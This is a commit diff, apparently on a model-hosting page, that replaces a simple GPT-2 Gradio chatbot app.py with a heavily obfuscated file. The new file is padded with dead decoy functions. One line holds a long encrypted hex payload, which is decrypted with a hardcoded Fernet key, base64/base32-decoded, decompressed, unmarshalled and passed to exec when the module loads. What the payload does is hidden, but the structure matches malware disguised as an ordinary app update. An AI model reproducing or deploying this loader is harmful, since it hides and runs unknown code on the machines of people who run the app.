anezatra commited on
Commit
e7a4410
·
verified ·
1 Parent(s): a29bf44

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +644 -54
app.py CHANGED
@@ -1,54 +1,644 @@
1
- import gradio as gr
2
- from transformers import GPT2LMHeadModel, GPT2Tokenizer
3
-
4
- model_name = "anezatra/gpt2_openassistant_guanaco"
5
- model = GPT2LMHeadModel.from_pretrained(model_name)
6
- tokenizer = GPT2Tokenizer.from_pretrained(model_name)
7
-
8
- def respond(message):
9
- prompt = f"{message}"
10
-
11
- inputs = tokenizer.encode(prompt, return_tensors="pt")
12
- outputs = model.generate(
13
- inputs,
14
- temperature=0.8,
15
- max_new_tokens=200,
16
- top_k=1,
17
- num_return_sequences=1,
18
- no_repeat_ngram_size=2,
19
- do_sample=True,
20
- )
21
-
22
- response = tokenizer.decode(outputs[0], skip_special_tokens=True)
23
- response = response.split("### Assistant:")[-1].strip()
24
- if "### Human:" in response:
25
- response = response.split("### Human:")[0].strip()
26
- return response
27
-
28
- banner = gr.HTML("""
29
- <h1 style="color: #000; font-weight: bold; text-align: center;">
30
- OPENASSISTANT
31
- </h1>
32
- <p style="color: #000; font-weight: bold;">GPT-2 MEDIUM CHATBOT</p>
33
- """)
34
-
35
- with gr.Blocks(theme=gr.Theme.from_hub('gradio/monochrome')) as demo:
36
- banner.render()
37
-
38
- chatbot = gr.Chatbot()
39
- msg = gr.Textbox(label="Write your message")
40
-
41
- with gr.Row():
42
- clear = gr.Button("Clear chat")
43
- submit = gr.Button("Send message")
44
-
45
- def user_input(user_message, history):
46
- response = respond(user_message)
47
- return "", history + [[user_message, response]]
48
-
49
- msg.submit(user_input, [msg, chatbot], [msg, chatbot], queue=False)
50
- clear.click(lambda: None, None, chatbot, queue=False)
51
- submit.click(lambda: msg.submit(), None, chatbot, queue=False)
52
-
53
- if __name__ == "__main__":
54
- demo.launch(share=True)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ __VareObfuscator__ = ''
2
+
3
+ def saint3127930():
4
+ if 8780541 == 6511387:
5
+
6
+ print(5115266)
7
+ aaa3222896 = 9762989
8
+
9
+ print(7791658)
10
+ bbb5230360 = 5490929
11
+
12
+ aa3801994 = 3699590
13
+
14
+ z5161342 = 6022324
15
+ zz5602204 = 1293162
16
+
17
+ c4648667 = 7694992
18
+ cc6536872 = 8046955
19
+
20
+ elif 5151049 == 6460147:
21
+
22
+ print(6341853)
23
+
24
+ aaa1113886 = 457933
25
+ print(6222917)
26
+
27
+ bbb3653753 = 4932437
28
+ aa1865743 = 4271475
29
+ x5859498 = 3507606
30
+ xx2492558 = 1669730
31
+
32
+ a761381 = 735927
33
+ aa7253874 = 3784001
34
+
35
+ def saint5817791():
36
+ if 4186390 == 9095274:
37
+
38
+ print(8611388)
39
+ aaa7108755 = 1106207
40
+
41
+ print(1142632)
42
+ bbb1194285 = 5968986
43
+
44
+ aa3947064 = 8778003
45
+
46
+ z9610645 = 3847616
47
+ zz3990407 = 6645872
48
+
49
+ c6792507 = 7401762
50
+ cc8672029 = 7475470
51
+
52
+ elif 1829462 == 475692:
53
+
54
+ print(2546388)
55
+
56
+ aaa2879487 = 9363904
57
+ print(5967516)
58
+
59
+ bbb5438801 = 1094460
60
+ aa4485560 = 9481253
61
+ x1407203 = 6756183
62
+ xx7950458 = 4145122
63
+
64
+ a1900451 = 1794274
65
+ aa8441928 = 8188683
66
+
67
+ def saint7915010():
68
+ if 9964801 == 8306475:
69
+
70
+ print(8560166)
71
+ aaa9266185 = 3092107
72
+
73
+ print(7222362)
74
+ bbb3498566 = 1594566
75
+
76
+ aa5926105 = 2306120
77
+
78
+ z3588175 = 6380621
79
+ zz8967845 = 8754637
80
+
81
+ c5823485 = 6026913
82
+ cc3127764 = 2057998
83
+
84
+ elif 3781884 == 962369:
85
+
86
+ print(3059000)
87
+
88
+ aaa5384396 = 4639778
89
+ print(1895694)
90
+
91
+ bbb9314892 = 2937694
92
+ aa9879284 = 7896422
93
+ x9573322 = 4182771
94
+ xx9564415 = 7306487
95
+
96
+ a6393170 = 4446679
97
+ aa8736684 = 1638728
98
+
99
+ def saint5223931():
100
+ if 7961462 == 1696804:
101
+
102
+ print(4770550)
103
+ aaa5955707 = 5894537
104
+
105
+ print(9855992)
106
+ bbb9399376 = 2534458
107
+
108
+ aa1252534 = 8261720
109
+
110
+ z1835619 = 5511445
111
+ zz4021594 = 4548259
112
+
113
+ c2252066 = 4218615
114
+ cc1792414 = 9249799
115
+
116
+ elif 6665083 == 6367123:
117
+
118
+ print(3008526)
119
+
120
+ aaa3691681 = 4281737
121
+ print(1602851)
122
+
123
+ bbb8128655 = 9828407
124
+ aa9356976 = 9651220
125
+ x4063790 = 5085301
126
+ xx313121 = 5352257
127
+
128
+ a5051881 = 7124108
129
+ aa5697793 = 3698294
130
+
131
+ def saint2153029():
132
+ if 5538509 == 1968649:
133
+
134
+ print(9603864)
135
+ aaa8161723 = 1202955
136
+
137
+ print(6159374)
138
+ bbb2814133 = 9247388
139
+
140
+ aa2428771 = 5283464
141
+
142
+ z7058146 = 6449918
143
+ zz5836700 = 2048541
144
+
145
+ c267511 = 4932012
146
+ cc5153377 = 1356584
147
+
148
+ elif 9865998 == 8823527:
149
+
150
+ print(9558989)
151
+
152
+ aaa4862097 = 2553508
153
+ print(3218365)
154
+
155
+ bbb4411528 = 1577835
156
+ aa2566992 = 8608451
157
+ x3579871 = 5584828
158
+ xx2678505 = 3342613
159
+
160
+ a2642353 = 459933
161
+ aa465345 = 2378724
162
+
163
+ def saint2752394():
164
+ if 1276987 == 3085080:
165
+
166
+ print(2103968)
167
+ aaa4009879 = 7209078
168
+
169
+ print(6501330)
170
+ bbb8289590 = 3881132
171
+
172
+ aa9951526 = 7586324
173
+
174
+ z913569 = 9631816
175
+ zz2291219 = 9388586
176
+
177
+ c5518263 = 4744769
178
+ cc9705211 = 1276107
179
+
180
+ elif 6150820 == 6034803:
181
+
182
+ print(4116065)
183
+
184
+ aaa7647758 = 8308076
185
+ print(1387614)
186
+
187
+ bbb960276 = 4514769
188
+ aa7863584 = 4084364
189
+ x3293822 = 1110166
190
+ xx8740156 = 7067678
191
+
192
+ a9686636 = 817720
193
+ aa5555532 = 1436087
194
+
195
+ def saint5664109():
196
+ if 6299688 == 9964359:
197
+
198
+ print(6304006)
199
+ aaa604254 = 9071819
200
+
201
+ print(7706440)
202
+ bbb9381421 = 2008310
203
+
204
+ aa777317 = 7081744
205
+
206
+ z6853322 = 5748947
207
+ zz9806586 = 7446248
208
+
209
+ c2813333 = 2562978
210
+ cc3267885 = 9276420
211
+
212
+ elif 9614425 == 4161420:
213
+
214
+ print(1506010)
215
+
216
+ aaa9766697 = 5469366
217
+ print(7243880)
218
+
219
+ bbb7096273 = 2827672
220
+ aa6585318 = 8789533
221
+ x6969358 = 4553890
222
+ xx1127879 = 8660106
223
+
224
+ a6931973 = 9301138
225
+ aa1429098 = 5238282
226
+
227
+ def saint983621():
228
+ if 8179486 == 289882:
229
+
230
+ print(4743623)
231
+ aaa9500027 = 6007620
232
+
233
+ print(1132131)
234
+ bbb812667 = 9843033
235
+
236
+ aa1267640 = 260053
237
+
238
+ z7974691 = 6183993
239
+ zz7640076 = 5422562
240
+
241
+ c1472434 = 7026940
242
+ cc897771 = 4235439
243
+
244
+ elif 8038662 == 6782502:
245
+
246
+ print(5641267)
247
+
248
+ aaa3353537 = 1118790
249
+ print(3557624)
250
+
251
+ bbb8291223 = 8474450
252
+ aa5071073 = 2151130
253
+ x1872935 = 1816145
254
+ xx9180479 = 9043225
255
+
256
+ a1491517 = 4202047
257
+ aa9657554 = 425027
258
+
259
+ def saint3361528():
260
+ if 8862227 == 5177733:
261
+
262
+ print(325320)
263
+ aaa8893792 = 6377846
264
+
265
+ print(2048498)
266
+ bbb5423413 = 3984605
267
+
268
+ aa9334294 = 9008956
269
+
270
+ z3758023 = 2146181
271
+ zz2710336 = 1316050
272
+
273
+ c1895906 = 4025178
274
+ cc3394869 = 4909062
275
+
276
+ elif 7883155 == 2720615:
277
+
278
+ print(486621)
279
+
280
+ aaa9954901 = 2314107
281
+ print(7920716)
282
+
283
+ bbb2239124 = 4323149
284
+ aa6950443 = 7049120
285
+ x8088909 = 3664820
286
+ xx4405134 = 4885937
287
+
288
+ a2829155 = 7932148
289
+ aa4737091 = 3568306
290
+
291
+ def saint1936451():
292
+ if 5090078 == 5798912:
293
+
294
+ print(4005493)
295
+ aaa4723862 = 5998901
296
+
297
+ print(6714332)
298
+ bbb3258218 = 1180493
299
+
300
+ aa8155591 = 9088185
301
+
302
+ z3640706 = 460427
303
+ zz8668317 = 9403824
304
+
305
+ c9062549 = 9381662
306
+ cc543514 = 6921324
307
+
308
+ elif 6269692 == 6506983:
309
+
310
+ print(3012779)
311
+
312
+ aaa9472063 = 2413763
313
+ print(7079231)
314
+
315
+ bbb6282785 = 6275497
316
+ aa9259371 = 6624663
317
+ x5091992 = 4299611
318
+ xx7371449 = 1233822
319
+
320
+ a948687 = 2473367
321
+ aa4142318 = 4014798
322
+
323
+ import base64 as ______;import marshal as ____;import zlib as __________;from cryptography.fernet import Fernet;import base64;__mikey__="Rm0xbFlicm8tdWw5U2RIZU5QN291UUcwM2hIVGxGc0Flb083bVlpVU9PZz0=";mydata="674141414141426d5448594930466a6c7667697650524f755a64696c487a356a664e73454d79504c726c4c626e5933334b41496356417268544d7148316d774b53344c6673384149524936477949394664384a32736e73443931496b6c755f693473564d56794b4c52476d4e5769327666756242713956454c54703974726e7841615a685f5f7651735a7a38347a2d7751634846534c726a74715a344c6558494a5845557a4852487336724d6a386c576258356e444948436c78717053425535705770503171787163584e7632737a4a6a31575a6547325f7a694b53736f4f7664304e554e574c655475747869624735656a754c473336327567716d3171374e43683449466d6267623932696533462d79344f436e35425073734271327450544a644336725a3947685a7451725633624836724b465470354930374762347453666b744c6632774148667451505042713539386d6b66397271562d6e343561514f396466574639716b34464a5a786364704e4b75775539585f704f4947307249416777614652727775663646696f3530716941654351486b746971796d63657767784255375743435758667741514779393259376a75595166484a417657796b6355516b4c6b716e6f535242764778666564784e43423749457035764d494d5578554f364744513072514c385438486e754d6942534e766f63574d46364658556f702d464534307a6b74435f58754b7a615354766f684b2d3571564a4250345754686374443330724c4d62306c57673767457a2d6c616d6d513459624b64563431576c46624a4d7271446f772d49514468596d5876647653397433527a7469624d694242667354785f512d67546a59626475626d795758705f5978343743766d70336e3754365444753032766f43772d7475385f4e5968793868437239645a48306c524f68572d6444327a4b344b54792d775f2d715232495f546f4b6d4e7068347643364661467a50617570374f4a6c34745178314f7634713152345566545939637842786d45532d6330316d4d4d5759356b47725f4536484f4a436e6a683045395665687935587361464a735042336d434e726b71746f2d736e45356758654c304433384d4f46693276724f2d6f42314e7a46546d2d7150726e5161444e3157486c75564d6b556b36522d425a564e454d546c42443470444470336e6d73765a444e65486678686541486539374c44327633675f664349374761693730716d37433454762d6761562d6e4a635250755a3943303176714258796e4847674f753968434d74657a3168755532333751735f6a44636e54594937545670336d41343854475857536a52306a56555f5f4e6751755944326f665867766e6f74374b456369622d33427a346366423479666b755650465447766b3749786f493961454249526d464d727641642d5774324b54677a616d6a555771615471343648546d363972616a63634c68466f4476615f7a3057494b79394970645f50557257384145747249446e35496a5533477449386134744a7037437966765163574e6b335746305469416c356f624b7079694c3337312d382d4c596964336779303636596e57775944515971395a4736706f6841324c59394c47624c43455a61537a6f5f467978686349692d3361316c41386976354a3670584a524f6a386a3752425a5a33746765466e7a5347596c674f6441476e6850336f4a54307a433837434c6371703469684d6b6e6a456133554f6967436e5757734a574e494773384d304d772d5354484548634344515f376669562d3145784e5672525355764f4270376859437466377164376371383242523644676b75346977526b4f4a64535f566d6f424443644738616c6b385436575a796f76705752523758754c5a37614e73554a52564c6e4b6357455736444e46622d5233703151697a7a4e306d5f556e5f7a545a617a6634626c6a5648632d78655f344e38774757716838316950767356744d5f4c495f6e6f543469717545374d474271777070454f355631787631655f6b534943455959784b47524a6758546d714d564367776e70654e614c565f3969514e38674e5a46346f724832707a4c62485a3374394f47696d455f6e4b5f6636746e384d30543263626c4f7676365766397a6c6e58442d72475977554a42685f6346777338566d4c4b50395a5f5a6b624e4c314d57413672346a77675655796f554d4f644c3666577255706247334e304b4379326e73613832366d625f544470573750424931425f4a676c4359754e50724c5a42747a327a4d61425f6c694b4d33637744464573585750394b57564f74674a5942733741636b74545a5f784d61314246637755707755755465475145386a3572775f32473279796b65704f722d507133546754635864354430356975652d634745773055307639504f4757544a774163735747455173675946472d376532523766596333764c2d727659704a54524b52415563584761343577396374525a2d5f4e68424b53462d657a4b6468714d44344873597a44784c6d6e44437a6875774754777248575263594850535553747345504331715a42487344764c4356596a574c713954465364557631634d733143526e343372434b7065393835575247474b4f6a43773564583830466e6732546f6d337a58316e435a31396e55576d5a44337769516362686b594269504243423456655967726e4e6d6a57654f485a4b7142593343755576674e746769744a4759776462385a67522d337a683273794248437768426f4577474f4947784c35526169594e69564b69776735697855714c55434f493239674b4f702d467a56666e4d4f6d65564d6b73336c52725752524945436c5437536273315849463531534e6b336a533361584a62684b4d487942364c327238334d566d7a536e38423173794f533376546e326b336d6d6a583277624d7256654b58484a325a447871655a32635243415357583649726f656b4e526764656a414b30696455526a306d495677582d757265617471776477576c4b544e54764c54363661343878793838366f762d384f386b44324c4843766d4a394a4e695f556f576a495032357851484f44306b657677385a4562424778556e575944586f666a725f375f7a73527779547a5f663665313536795750466f6a414f4d383972477667596a35416758322d2d70556566436b6e4d525447414f47464946684c6e5175485a56366d5a6e7839544c306432676e7947596b4654333337624678384b434b637345753952706c527a76674e6579525f31445052763365754934364247685547793461706a584a585259757645524661345541766547346553474e4a7675556442324964595a4d476e536931454a494c4630306757376a317152765f344a4b342d626d4a556b636e355f335568454f39377261394f3159594832496e6f36506b73777335514e2d63354d625952437a4554596953754a5f2d43313130694d413258304f6d3263703061456177616d4a4e6e3649392d486e49704857717a68654845596b32524e5f49385453413377414e537942355f3561416672445f486146546954774e4a416557425549364470424734304f6349424c675665372d486168637044494a4365576270434868425258614f7676724d77794d79475a435874397a4e706d4c7a337375445f742d497065477a696b4a624a6b56727959356c4d356b497831367a435947706d6f332d4e5f48336d465f63766a57495f68414f47736a783752634934437048575557386146484d3261397253734442536756446979645977384861483369532d654a46766575397770717142617162672d48724e307a39384e307a5a725648414f44597856766a596e4533574e476c7553583633316e36573932794f724a6962646f68534c76506f4676704b4369424e77486979714c566246786f6f6c5a48547550534e54784f4e4a73676f3865534e444a31357968586b48585a7062785f7345504e53344434634d46577a684e7a316c323757397958794862526377327a764e786c7657374e393643714e5a756a5f69634b70496442596e6e4c68577143684779524c4272336637686f5f3034724268484e62763549747746347a58686f4647492d677341706d525f61786c70414d397949783754534b646239565a75626a416e57724a56354833496e75687236624c49784b697533425f4e5a6e416442505f4675357473464f61763042336567477a675661656e2d646141614f4630497036452d67707a3734314b463977754a4167762d5332305a57754d497653484244554649684634536d714241343446675248796353485059635a5f4a795a3341494777514e4236745a4b71646d49317735444163596a707a4c5145696d6d75612d6f544331476a34714f4657394b69766d5067633547624b7975477344384b6f35335f716457732d4d5273746270674650322d4c6a5255766d6439434b50593367567357616e495931647a2d724b495a585f6d67466c644264677630575a4d755945576c4a627551415275706d6d74615247396b5a777751417066327a4862634d5672737639514b4f5f3555666d39614e37425a6a436b636445666b78666c73572d754a4f537872784544566f5378685f706d452d78503079615949713134647970303445325272564c6a6376484e396558586546354f316b38305071794d344b5272786476444d56304d7a6a5952757565717656734d3756334f565f675571626d32344c6732696d7569435256496e6a47764c386c6a59366b7677386654636c51474b7765396f73595962655630534554504b346c6a4357467077353843692d356774796e5835597a77436f36785a4d656f4a34777842426374646f74766b795a5134704f596e5867397a4e5a4d7757384b37323777346a5f74417344594135645471616662514177724a657953376a5f3653666d6b426c434b6d726b4e33344c6b43584a47774c6e565464456c645a6d432d666c524d3566763832676f473839326d556532336d642d724459684745554430484e656447737332666439374e4c4b3661496e4b595730755f4e6a523263456b6c72584836776b2d66684a4a464778383955726e4d73443542723356434455365945383276635a63354759327741553837736958414344326531466c4d5a4d6a68517864516173784651506c4b6953685f696b355936664f435a69556a2d663273434448413454486d2d6a3347346b35366f5f6a5078775848756e644667312d4f794551627a525f49456b6231795f6a57377049704f59794f736c6c6361746c386f5067666d7662356461494e51307a4a364873445567576975725139774f6948507535476f2d6231395f413646683542474650435941685341346274677a4b4e6a3446744568795a5854595145367a4d70676565515765756d316371736173686d47502d7a71546c436f74746f587142454d61505f42367150483974767461506c6a755536786c7a477467586837566f38447678635032373773716a316e61384b326c315a764d356b64447a613731495673695f2d4e4252635741306c53303276734463524739686367525865684a494f47753361515f586365786879752d736c496f6c4e48676a78666d6d4b567a5953515f4a626232504f645551613050646f70435f7a6449477a756973696a73746944316d71386f717a4e7774636364466747443234764c41792d4e776f4f6c307241686f2d59556f6a6d485f4a357166326577474c4f59373564474c3649584855416e4b4a4c5073555a4668335a70594e446e324138464352307954425870716d634a485f3165495a457443737432346d6b7079377875784c53614667767a5750397234494f745945704c76367a496f567a686131316a61376e546562454757696d5337706b796b782d617a337a536a2d6444334f55746954474b73424874394b455f574c6f6d444356367a446f586a51586f373451725149366a534a446f774b42744557754d67765450785f473537622d774f51546f55475254795030754d39667730452d587846526f697631466c2d35646b657973573779462d5a4935383130475f4742455244734c4f6f714656434838764453634b424b433741594d475258374f747a42564c374472353155793675385774584a5375475571315f686d395a434c78735a4b417361374d49764c427446625a5a35663456324f33784333464376424b6351527432334242524e555066454e595744645372797370575130476c73704c59316e363163417a442d704e68587362687835453457615275477a3158716738575447537465746258664d615f44577a6d48384a764d7a7345773078756b524b43414430714e366c3758396a65365a664b52387a69386e7430485f73386a434b434f4b7079466e7a79517a36596a4a306855726b50504d784d7735494e5742304e4a70386a2d595f44464e5f367a724d6e6a546c6e47485762516257385a765936346a746e44504b7978513477347733615074354246754c4e625f2d3475635a436b79507a576e705659694b64787033394d394c2d3030666d48633347342d347362494a7a6a62686b514c50496d55737557656553584d63386a59437a575f584170386363316c346b726e425378416b6f6e693166773674797049584651536244664f634c6750436e7563706d6b4d33757a693855444741396b61385a4669456962696832674a41575535635f7068524a5a67574674592d56753039316b5742795a7243656d7837454750715447436c4d483164495436353955725851344c5f3849707445476e4c61515568654471696d6b6154486d36546b5f4f2d4d66516f3649685f3276645f454343645548633456766c63625564414c656967726a5471784b48724d48446d386f6b67724245554d7077486b5a656e6675536946475f6165733539595749314150576b7a5a774c533962466f6d34485a746c477063332d513656364f4a5648504b7244374e54615472427a4c525058543231372d6c687537555f616e4f616873384b666c316348545159444175476270394468544972625334444c333836636b4a5a3745645639314f39477272434945696831346c736b504c332d6a4177377972474c7171307133557362436944686972724347656e485a75367059754a646b4430335266726c735248744b5669344d734a4f4b67726c48444877626343473335494d77316161434f6c7244396a66764a35445842322d304e543934777a51736f5a514459527743476e755a377a7732526157687267596a6f745158757a5f6f64394958726137694d79367339486c766855477131467948794332384b52495a5f5a494b464f72773574524659566f4c664d41614266533849366948776b3432504634373430486a6978432d6d7969543334734e6c4343354d374d772d4c456f773157316a4a2d6650795a3576324f7074516f58694b336e454c547543794378342d756e625959596835786d50316d2d385a397030665777744c6d354d6b7670725f5f556147374a4f5745324e554334795f6659586c6e626b4b7265685f4b524b4570445977324f5553322d4657506b6e344c5676684f68776f52434a57487663414c547566767456746650777948372d677779316374765573494d374578316467694554556f707233784730786836346d3545686f5575576e564762727471794861706e394a4d725035427a7a676e754a5a6d5a426c6476623675426f456879317a356c52526b644c576e49734b65396b53725066535275474e4b7832316148724d4652306d2d584a46477a7a6e74484556344f4b44326e705143507461376c5f6779365035786345593969766362492d775a7250425564436676584e547a4d63334a3866647341546e5743736f76576f67366d4e565864664f76575f306a77503641424b6d316779414d5a6a4745716b6d774f627854484a6f494a5045496f753766314c4f724164797a67363344633649394b57546a7169384c3470306e792d55304d3867497a2d6843574e6c71663174705971567749663641327a363634794333786139694e567a704942546549394745555463345945597a4677506849304a3856665779524d74353471564f6963356e616e3747496259366b4a35767a4a78416d3758775737375f656f2d51784d476d7837595731554945446b69586b745069435a617841567343353964544965785541395172744d4b584637786d447276394e42784c5a76625968367144596e31565a507373755650387834327332747372742d55472d6e6249583774657547586e686d3579417445676d314a684e496864597237575058656f30704567453057737472317155744575647469396e53613377306f4d384f394a6b435f4d6e4f2d465242327630524d78374a6e34684d5a736e4d696879552d4b6857394f4f414d5732414e684b5270637874626d684b6f5153674b7331445a6c4f62634c355864646e564e4272745044713066424b645a5743474a674953724444483141493231354948344a526c66567658376d313351375979447449775a39767870756b557138737661496b6d716e674263664c713355677653736e6e5052307776306937616e75506e6449494c785352684857614b7552575469626c434572725833456c73784f434d6b4f6b52327167424b395241464f424c7576634674574e43494b506d6e51743131356a6f584f424f394a4279472d576f69363455434e3274714c3051722d5a656b3750376356766b5a6a58545f6a63466a4556523563636a4a356d544d436f764138596541794f6f327a636b744b515532764c554b537358594753617a376377414a4668344861774530506a5047522d2d7973504163576d3463347242766d744744797a75627254704279394b685276356d704778685952724f75525430462d6f35633943785037755f4a313657354438345670336d304273314978476f4b67553556655776547a7945634d6872546c4a475f6d415a5644614c466372474f3948646a6342544d5a6d722d517732492d2d4a436c6c4e376257614152313667476f71357856476b597177763871445246653031595641584378395443735f51777639435144474e5159555242474a5847476859566f616e6738656c7030546a746b437a4c6b78304b6b484557766f30797a4d46396366584e493535374c70737378705a35585930736c64796b374f4d51487a364d2d58484f72593759334a3146526b377456643956544e306274613262737235795444696a417043465657384168632d7a4c4d6873633855396b4f6870535242616d384c764c2d763663683566756462714f6a7333543469525f5f5631626d4d446b76635a32643442494346754a39425a617662506a67646242596a4466456e6e686a506578725275465546466867685a6747466461416b45766d756d79684275694f6e4a487a4e6c784d596f656556666d5878684d7933647a4a364850763030396a486451645f5479654a5f5370745954462d50636934515069756b347a7155553937654139375a724f6a537541782d4c3857496b536351463253776e584650656438493452544a30666e414765477a58442d66714675566157734a327a306c78464f4e7057744251763153647852474277555957732d68336a2d786e6c742d6b647136456f4c776e75775353563437594c2d736864556174387a4162487779325341614e6139593861486c6f4d4f59647930736e74697378576736336f4551563441646f776a596654573832666a5f414861425034634c42646a3034586b4b32794b4839365178646358784e79714e667245346a305a53354d3059706730546e43557667306163535053396f654a4c5a486d69534266734d6a436b6f716672555166577a334562775970705258617a4b556a62364e37416367367a62434f626342354576744851555435573079594e6353472d5f4471477245464657764f416e683351496e62654b41444a3731616b64753736794839374d37507150316b704a36786c475f374b3659647538615f525639644c6d75336e745a51426a636449647534364a6b4972542d485534567a504359534b2d50694a72677a34566a56585f393370475a546e6767397564384e6c3275746a43727772457748425f666879652d306567477a706d4d306873414258525442585f4a4a5154774a615679376a594e716666416d6c77367541355a46496a676a2d4949536c7570714e55556a734a57457a4f3632766e74666b6e7a6e4858634a706c472d5549796e49747963506f6c6c4a4b3341545f59684c384f694354516534396374507269436e747a3647635f76547a65744e356762645665676142575163727339634e4446434161465a53535f58476d4a42574d6b5542633944626f66702d5f5f6c475f3464625f566550517744574253526579466d39776233594b486650666f324443434c56713150627463485a726a32626337336952344b4a412d7645304652576a68506a7261655337437931616f5a6964694e5673367a2d4253394a786d2d5132776a49716e39715f797a645176617554714f416c6853514e514f774761383267533754774f34454458554f66616e545241573163786d7356347544327447722d6b766e2d4d37514f53565a754f784f474231636264704c336d4d4a443968735a673933395936786679637a47656176705645726a58515569713958513346743059424274444c53476c4d796370696666546a6132653131515a486339524d5667315877644c78715866724c65756d48466f3050743630585257702d683253484f6c4250436e53725a4c31394a647137384668757242774c5137444b4468504c576969686a31626977474933626145596f7a4b3261724b5574546d577245566a45706b6941466430774644684647546435614c434155614c3048444c516e62544b544550664d785a7530307352626a6e4b6c6254683538395a59776754685069436d4c326436444f7067337657385a596d4f6f3274726c3643594941767864754b6d643376307476396252796a384d3643326433504a6848446c4a4b4f467245553775746877464c35517a664c79554c6f4331355458656261516a6444546f476e7a3037525730643675454e795f3747417835525f4d5579386e326b66306a4a787574307a3554674a467863494e6e6c4d5055506f50696e69586976766e793544466c6a4f49464b386e6f48426633566f3439574335743678557649706d336a6548567038344a354d4b50737a5073765f78596b66312d724a38354145445a684668357749467346543633645f786a75376a50395174414463774267304838477542716b653868655f4772435a614b6d7a61356771507a49536a514a3568656f7757426c53624f6f58437971547a59597549675a366e59415f2d472d2d4a786158314d70517234444c35636a327866366d513433617974705774667a584d467571327a365275655f636f556449495857767476484b557137514b535a6a554c706674325148417a4533703073305157576173526a494a496165516645565367744d38386f64685643744e46447a4f48764358325079595f616c684f6c6d3052745656556468464a2d4775386b764b2d334836536f4a5f4e416276584a58316b7335706f58534e45735a6f76585a663563674a7455787774716f386839656c7063505f76704d436e436f5a7041614d4d41436c57616d65696364494571725f77576d676f34387949616766326d7763773130486b6d714c67333237522d6c2d625235715173464f6d654a553556695149545751494244336c7a785731393671333243503562664e685f363858516e36645a3634546d484a352d52743737346d64654f555737593047356738584b6a586851414935774179424c763734766b5f6f4d5666795037615977762d545764567946565978414b704e51792d533263304e31753738736852626e30772d4f4755596a792d797a4f7956637852636c4744582d70754d2d6870644c3955366c6e7a724d6a69723047727a71686753786455344e612d47496f594d6974746a343752726a516161466559376962783146675f574e3839756a417a6b64573373747648444b3343623068386372686c63796f706c2d494363652d4268626b47466555786872725a467873344c724c5555694c316568396d664a754379524d7853776d43525741386b4247436a5733624546426b694352476f454a4e52725a766d58366e6e6d546b4954653654484b76355a64665267595652476f764b644f78374d7a582d744a4c774f48392d36764a3378414d4a4c45654f6d5a78783156594d45444f6a62733669526c32524862324162577534474336396d5256646664655a434f7a354f62372d44484a714b62304b7347545657755277443751535f57576d344c79733375462d6a4630794d764152434e78542d65506339596b346f5f75703754624c70314469567631714d3938744467707531486d55505654772d4b684b484357684d4136363431646a624630586b5a6d59696c774e426a626e71704e314f4b46344e67424f63632d30693452575651795132373936746a4d4f716c46437a2d41466750494c2d6e67305256346f532d456837593569516547386a686b516e52725151546a4f6f334b5261745675577377677a6c414f445657704a41496533542d7a4233546f4468315f5f4b51705f655133424c7933627a76386c2d784e78696c4c767845674a47587559537331424433474449654b666d533165577534503450697952324f53567a7a7556535951394f6b4c46685f465830765a4666594832624a614b47513439764f2d6b675736565536516f485173665f793368536c764d33315971686d457657377837727430535674317047675374627a4676434851306b6876524a444146476d6e484232464767487a5a767a636b4b69506f486c63576962596669794f426473446d684b6d5a31474750434b6a73614b37594274784172326d4230395a35645772734a466d664d45554d507a6d775545707777545f6d4463734e6d32475f574e53546a574342377a656a31784168494e69776c4e54656b312d64773d3d";__vare__ = lambda x: ____.loads(__________.decompress(______.b32decode(______.b64decode(x[::-1]))));__mycip__= Fernet(base64.b64decode(__mikey__));__step1__=bytes.fromhex(mydata);__step2__=__mycip__.decrypt(__step1__);__decr__=base64.b64decode(__step2__);__decrdata__=__decr__;__gotnew__=base64.b32decode(__decr__);__newdecr__=583921168854;__getnew__=__newdecr__;__myb64code__=base64.b64decode(__gotnew__);__myb64codee__=base64.b64decode(__myb64code__);___ = __myb64codee__;exec(__vare__(___))
324
+
325
+ def saint8121560():
326
+ if 3853737 == 7479685:
327
+
328
+ print(9808619)
329
+ aaa6768434 = 9309084
330
+
331
+ print(1142136)
332
+ bbb1057732 = 8727012
333
+
334
+ aa9710474 = 5686840
335
+
336
+ z2959269 = 690783
337
+ zz3132753 = 5810496
338
+
339
+ c5466137 = 5472905
340
+ cc1070677 = 8656201
341
+
